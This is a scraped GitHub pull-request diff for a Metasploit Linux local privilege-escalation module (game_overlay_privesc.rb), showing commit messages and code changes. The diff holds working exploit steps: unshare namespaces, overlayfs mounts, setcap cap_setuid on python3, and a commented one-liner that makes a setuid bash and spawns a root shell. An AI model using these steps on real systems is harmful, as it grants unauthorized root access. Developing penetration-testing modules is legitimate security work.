You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Rebase and change payload delivery
Rebase and remove cmdstager
Update modules/exploits/linux/local/game_overlay_privesc.rb
Co-authored-by: jheysel-r7 <[email protected]>
remove CmdStager Mixin
Add PrependSetuid
Remove python from exploit
Remove generate_payload_exe and add dynamic directory to upper mount layer
Change where payload is dropped
Remove FileUtils module
Call proper method for generating payload
Seperate exploit and triggering of payload
Seperate exploit and triggering payload
test
print_status"Creating directory to store payload: #{pay_dir}"
125
-
pay_dir.concat"/"unlesspay_dir.ends_with?"/"
126
-
cmd_exec"mkdir -p #{pay_dir}"
127
-
128
-
register_dir_for_cleanuppay_dir
129
-
130
118
pay="#{pay_dir}#{pay_file}"
131
119
132
120
print_status"Writing payload: #{pay}"
133
121
134
-
write_file"#{pay}",generate_payload_exe
135
-
# works move test to low, run unshare mount set cap, shell
122
+
write_filepay,generate_payload.generate
136
123
137
124
print_status'Starting new namespace, and running exploit...'
138
125
139
126
# g1vi original
140
127
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
141
128
142
-
# TODO move running of payload and exploit to different cmd_exec calls
143
-
hack=<<-TEXT
144
-
unshare -rm sh -c \"cp /u*/b*/p*3 #{pay_dir};
145
-
setcap cap_setuid+eip #{pay_dir}l/python3;
146
-
mount -t overlay overlay -o rw,lowerdir=#{pay_dir}l,upperdir=#{pay_dir}u,workdir=#{pay_dir}w #{pay_dir}m
0 commit comments